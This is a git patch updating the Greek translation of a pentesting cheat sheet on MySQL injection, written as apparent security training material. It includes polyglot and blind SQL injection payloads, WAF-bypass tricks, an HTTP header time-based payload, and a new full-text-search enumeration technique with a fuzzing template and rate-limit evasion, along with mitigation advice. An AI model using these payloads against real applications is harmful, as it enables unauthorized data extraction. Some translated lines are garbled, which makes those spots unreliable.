From e07e0fc7ccb4eda9e2b6d757e179ab447cb60834 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 00:49:29 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README --- .../sql-injection/mysql-injection/README.md | 115 +++++++++++++----- 1 file changed, 82 insertions(+), 33 deletions(-) diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 53a9d9d95..55b5f36dd 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -12,7 +12,7 @@ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` -## Ενδιαφέροντα Λειτουργίες +## Ενδιαφέρουσες Συναρτήσεις ### Επιβεβαίωση Mysql: ``` @@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` -## Όλες οι εισαγωγές +## Όλα τα injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` -from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) +από [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) ## Ροή -Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το "_**information_schema.tables**_" με το "_**mysql.innodb_table_stats**_**"** (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε τα WAF). +Θυμηθείτε ότι στις "μοντέρνες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το "_**information_schema.tables**_" αντί για το "_**mysql.innodb_table_stats**_**"** (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table @@ -66,20 +66,20 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ### **Blind one by one** -- `substr(version(),X,1)='r'` ή `substring(version(),X,1)=0x70` ή `ascii(substr(version(),X,1))=112` +- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` ### **Blind adding** -- `LPAD(version(),1...length(version()),'1')='asd'...` -- `RPAD(version(),1...length(version()),'1')='asd'...` -- `SELECT RIGHT(version(),1...length(version()))='asd'...` -- `SELECT LEFT(version(),1...length(version()))='asd'...` +- `LPAD(version(),1...lenght(version()),'1')='asd'...` +- `RPAD(version(),1...lenght(version()),'1')='asd'...` +- `SELECT RIGHT(version(),1...lenght(version()))='asd'...` +- `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` -## Ανίχνευση αριθμού στηλών +## Εντοπισμός αριθμού στηλών -Using a simple ORDER +Χρησιμοποιώντας ένα απλό ORDER ``` order by 1 order by 2 @@ -101,68 +101,68 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF -**Μάθετε εδώ διάφορες επιλογές για να** [**καταχραστείτε μια Mysql injection για να αποκτήσετε ένα SSRF**](mysql-ssrf.md)**.** +**Μάθετε εδώ διαφορετικές επιλογές για να** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** -## WAF bypass tricks +## Τεχνικές παράκαμψης WAF -### Εκτέλεση ερωτημάτων μέσω Προετοιμασμένων Δηλώσεων +### Εκτέλεση ερωτημάτων μέσω Prepared Statements -Όταν επιτρέπονται οι στοίβες ερωτημάτων, μπορεί να είναι δυνατό να παρακάμψετε τα WAFs αναθέτοντας σε μια μεταβλητή την εξαγωγή σε δεκαεξαδική μορφή του ερωτήματος που θέλετε να εκτελέσετε (χρησιμοποιώντας το SET), και στη συνέχεια να χρησιμοποιήσετε τις δηλώσεις PREPARE και EXECUTE της MySQL για να εκτελέσετε τελικά το ερώτημα. Κάτι σαν αυτό: +Όταν επιτρέπονται τα stacked queries, ενδέχεται να είναι δυνατό να παρακάμψετε τους WAFs αναθέτοντας σε μια μεταβλητή την hex αναπαράσταση του query που θέλετε να εκτελέσετε (χρησιμοποιώντας SET), και στη συνέχεια να χρησιμοποιήσετε τις δηλώσεις PREPARE και EXECUTE του MySQL για να εκτελέσετε τελικά το query. Κάτι σαν αυτό: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -Για περισσότερες πληροφορίες παρακαλώ ανατρέξτε σε [αυτήν την ανάρτηση στο blog](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). +Για περισσότερες πληροφορίες ανατρέξτε σε [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). -### Εναλλακτικές του information_schema +### Information_schema εναλλακτικές -Θυμηθείτε ότι στις "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε το _**information_schema.tables**_ με το _**mysql.innodb_table_stats**_ ή με το _**sys.x$schema_flattened_keys**_ ή με το **sys.schema_table_statistics**. +Θυμηθείτε ότι σε "σύγχρονες" εκδόσεις του **MySQL** μπορείτε να αντικαταστήσετε _**information_schema.tables**_ με _**mysql.innodb_table_stats**_ ή με _**sys.x$schema_flattened_keys**_ ή με **sys.schema_table_statistics** -### MySQLinjection χωρίς ΚΟΜΜΑΤΑ +### MySQLinjection χωρίς COMMAS -Επιλέξτε 2 στήλες χωρίς να χρησιμοποιήσετε κανένα κόμμα ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Επιλέξτε 2 στήλες χωρίς να χρησιμοποιήσετε κόμμα ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Ανάκτηση τιμών χωρίς το όνομα της στήλης -Αν σε κάποια στιγμή γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε το όνομα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν: +Αν σε κάποιο σημείο γνωρίζετε το όνομα του πίνακα αλλά δεν γνωρίζετε τα ονόματα των στηλών μέσα στον πίνακα, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` -Υποθέτοντας ότι υπάρχουν 2 στήλες (η πρώτη είναι το ID) και η άλλη η σημαία, μπορείτε να προσπαθήσετε να κάνετε brute force το περιεχόμενο της σημαίας προσπαθώντας χαρακτήρα προς χαρακτήρα: +Υποθέτοντας ότι υπάρχουν 2 στήλες (όπου η πρώτη είναι το ID) και η άλλη είναι το flag, μπορείτε να προσπαθήσετε να bruteforce το περιεχόμενο του flag δοκιμάζοντας χαρακτήρα-χαρακτήρα: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Περισσότερες πληροφορίες στο [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) -### Εισαγωγή χωρίς ΚΕΝΑ (`/**/` κόλπο σχολίου) +### Injection χωρίς κενά (`/**/` comment trick) -Ορισμένες εφαρμογές απολυμαίνουν ή αναλύουν την είσοδο του χρήστη με συναρτήσεις όπως `sscanf("%128s", buf)` οι οποίες **σταματούν στον πρώτο χαρακτήρα κενό**. -Δεδομένου ότι το MySQL θεωρεί τη σειρά `/**/` ως σχόλιο *και* ως κενό, μπορεί να χρησιμοποιηθεί για να αφαιρέσει εντελώς τα κανονικά κενά από το payload διατηρώντας ταυτόχρονα το ερώτημα συντακτικά έγκυρο. +Ορισμένες εφαρμογές καθαρίζουν ή αναλύουν την είσοδο χρήστη με συναρτήσεις όπως `sscanf("%128s", buf)` οι οποίες **σταματούν στον πρώτο χαρακτήρα διαστήματος**. +Επειδή το MySQL αντιμετωπίζει την ακολουθία `/**/` ως σχόλιο *και* ως whitespace, μπορεί να χρησιμοποιηθεί για να αφαιρέσει εντελώς τα κανονικά κενά από το payload ενώ διατηρεί το query συντακτικά έγκυρο. -Παράδειγμα χρονικά βασισμένης τυφλής εισαγωγής που παρακάμπτει το φίλτρο κενών: +Παράδειγμα time-based blind injection που παρακάμπτει το φίλτρο για κενά: ```http GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' ``` -Ποιο είναι το δεδομένο που λαμβάνει η βάση δεδομένων ως: +Το οποίο η βάση δεδομένων λαμβάνει ως: ```sql ' OR SLEEP(5)-- -' ``` Αυτό είναι ιδιαίτερα χρήσιμο όταν: -* Ο ελεγχόμενος buffer είναι περιορισμένος σε μέγεθος (π.χ. `%128s`) και οι κενές θέσεις θα τερματίσουν πρόωρα την είσοδο. -* Εισάγοντας μέσω HTTP headers ή άλλων πεδίων όπου οι κανονικές κενές θέσεις αφαιρούνται ή χρησιμοποιούνται ως διαχωριστικά. -* Συνδυασμένο με `INTO OUTFILE` primitives για να επιτευχθεί πλήρης προ-auth RCE (βλ. την ενότητα MySQL File RCE). +* Το ελεγχόμενο buffer είναι περιορισμένο σε μέγεθος (π.χ. `%128s`) και τα κενά θα τερμάτιζαν πρόωρα την είσοδο. +* Εισαγωγή μέσω HTTP headers ή άλλων πεδίων όπου τα κανονικά κενά αφαιρούνται ή χρησιμοποιούνται ως διαχωριστές. +* Σε συνδυασμό με `INTO OUTFILE` primitives για να επιτευχθεί πλήρες pre-auth RCE (βλέπε την ενότητα MySQL File RCE). --- -### Ιστορία MySQL +### Ιστορικό MySQL -Μπορείτε να δείτε άλλες εκτελέσεις μέσα στη MySQL διαβάζοντας τον πίνακα: **sys.x$statement_analysis** +Μπορείτε να δείτε άλλες εκτελέσεις μέσα στο MySQL διαβάζοντας τον πίνακα: **sys.x$statement_analysis** ### Εναλλακτικές εκδόσεις**s** ``` @@ -170,7 +170,52 @@ mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` -## Άλλοι οδηγοί MYSQL injection +## Κατάχρηση τελεστή του MySQL Full-Text Search (FTS) BOOLEAN MODE (WOR) + +Αυτό δεν είναι κλασικό SQL injection. Όταν οι developers περνούν είσοδο χρήστη στο `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, η MySQL εκτελεί ένα πλούσιο σύνολο τελεστών Boolean αναζήτησης μέσα στη συμβολοσειρά που βρίσκεται εντός εισαγωγικών. Πολλοί κανόνες WAF/SAST επικεντρώνονται μόνο στο σπάσιμο των εισαγωγικών και χάνουν αυτήν την επιφάνεια. + +Βασικά σημεία: +- Οι τελεστές αξιολογούνται μέσα στις εισαγωγικές: `+` (must include), `-` (must not include), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). Δείτε την τεκμηρίωση του MySQL. +- Αυτό επιτρέπει δοκιμές παρουσίας/απουσίας και δοκιμές προθέματος χωρίς να βγούμε από το literal της συμβολοσειράς, π.χ. `AGAINST('+admin*' IN BOOLEAN MODE)` για να ελεγχθεί αν υπάρχει οποιοσδήποτε όρος που ξεκινά με `admin`. +- Χρήσιμο για τη δημιουργία oracles όπως «περιέχει κάποια γραμμή όρο με πρόθεμα X;» και για την απαρίθμηση κρυφών συμβολοσειρών μέσω επέκτασης προθέματος. + +Παράδειγμα query built by the backend: +```sql +SELECT tid, firstpost +FROM threads +WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); +``` +If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles. + +Sanitizer bypass patterns (generic): +- Boundary-trim preserving wildcard: αν το backend κόβει 1–2 τελικά χαρακτήρες ανά λέξη μέσω ενός regex όπως `(\b.{1,2})(\s)|(\b.{1,2}$)`, στείλτε `prefix*ZZ`. Ο cleaner κόβει τα `ZZ` αλλά αφήνει το `*`, οπότε το `prefix*` επιβιώνει. +- Early-break stripping: αν ο κώδικας αφαιρεί operators ανά λέξη αλλά σταματά την επεξεργασία όταν βρει οποιοδήποτε token με μήκος ≥ min length, στείλτε δύο tokens: το πρώτο είναι ένα junk token που πληροί το όριο μήκους, το δεύτερο φέρει το operator payload. Για παράδειγμα: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`. + +Payload template (URL-encoded): +``` +keywords=%26%26%26%26%26+%2B{FUZZ}*xD +``` +- `%26` is `&`, `%2B` is `+`. Το τελικό `xD` (ή οποιαδήποτε δύο γράμματα) αφαιρείται από τον cleaner, διατηρώντας το `{FUZZ}*`. +- Θεωρήστε ένα redirect ως “match” και μια σελίδα σφάλματος ως “no match”. Μην ακολουθείτε αυτόματα τα redirects για να διατηρείτε το oracle παρατηρήσιμο. + +Διαδικασία enumeration: +1) Ξεκινήστε με `{FUZZ} = a…z,0…9` για να βρείτε πρώτα-γράμματα matches μέσω `+a*`, `+b*`, … +2) Για κάθε θετικό πρόθεμα, διακλαδώστε: `a* → aa* / ab* / …`. Επαναλάβετε για να ανακτήσετε ολόκληρο το string. +3) Διανείμετε τα requests (proxies, multiple accounts) αν η εφαρμογή επιβάλλει flood control. + +Γιατί οι τίτλοι συχνά leak ενώ τα περιεχόμενα όχι: +- Κάποιες εφαρμογές εφαρμόζουν ελέγχους visibility μόνο μετά από ένα προκαταρκτικό MATCH σε τίτλους/subjects. Αν η control-flow εξαρτάται από το αποτέλεσμα “any results?” πριν το φιλτράρισμα, προκύπτουν leaks ύπαρξης. + +Αντιμετώπιση: +- Αν δεν χρειάζεστε Boolean logic, χρησιμοποιήστε `IN NATURAL LANGUAGE MODE` ή αντιμετωπίστε την είσοδο χρήστη ως literal (escape/quote απενεργοποιεί operators σε άλλες λειτουργίες). +- Αν η Boolean mode απαιτείται, αφαιρέστε ή εξουδετερώστε όλους τους Boolean operators (`+ - * " ( ) < > ~`) για κάθε token (χωρίς πρόωρα διαλείμματα) μετά την tokenization. +- Εφαρμόστε visibility/authorization φίλτρα πριν το `MATCH`, ή ενοποιήστε τις απαντήσεις (σταθερός χρόνος/κατάσταση) όταν το result set είναι empty vs. non-empty. +- Ελέγξτε αντίστοιχες λειτουργίες σε άλλα DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` επίσης αναλύουν operators μέσα σε quoted arguments. + +Σημειώσεις: +- Οι prepared statements δεν προστατεύουν από σημασιολογική κατάχρηση του `REGEXP` ή των search operators. Μια είσοδος όπως `.*` παραμένει permissive regex ακόμα κι μέσα σε quoted `REGEXP '.*'`. Χρησιμοποιήστε allow-lists ή explicit guards. + +## Other MYSQL injection guides - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) @@ -178,6 +223,10 @@ mysql> select version(); - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) +- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) +- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) +- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}